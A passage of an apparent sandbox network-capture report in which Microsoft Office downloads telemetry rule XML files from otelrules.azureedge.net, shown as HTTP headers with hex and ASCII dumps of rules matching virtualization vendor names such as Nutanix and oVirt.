53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-185f5d8b95csd4bwhC1NYCq7dc0000000a80000000001hks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-185f5d8b95c9mqtvhC1NYCghtc0000000a5000000000qkm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-r1d97b9957789nh9hC1TEBxha8000000090g000000005se4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-1777c6cb7549x5qchC1TEBggbg00000009m000000000e4m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:38 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122838Z-r1d97b99577lxltfhC1TEByw2s00000008z0000000003zd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:39 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122839Z-185f5d8b95c9mqtvhC1NYCghtc0000000a5000000000qkn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:39 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122839Z-185f5d8b95ckwnflhC1NYCx9qs0000000a6000000000k25e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:39 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:39 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122839Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a8g00000000d8nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:39 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122839Z-185f5d8b95cdh56ghC1NYCk1x40000000450000000002sar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:39 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122839Z-185f5d8b95c9mqtvhC1NYCghtc0000000aa0000000007t1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:39 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:39 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122839Z-185f5d8b95cdtclvhC1NYC4rmc0000000adg000000005nhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:39 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:40 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:40 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122840Z-r1d97b995774zjnrhC1TEBv1ww00000008vg00000000595h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
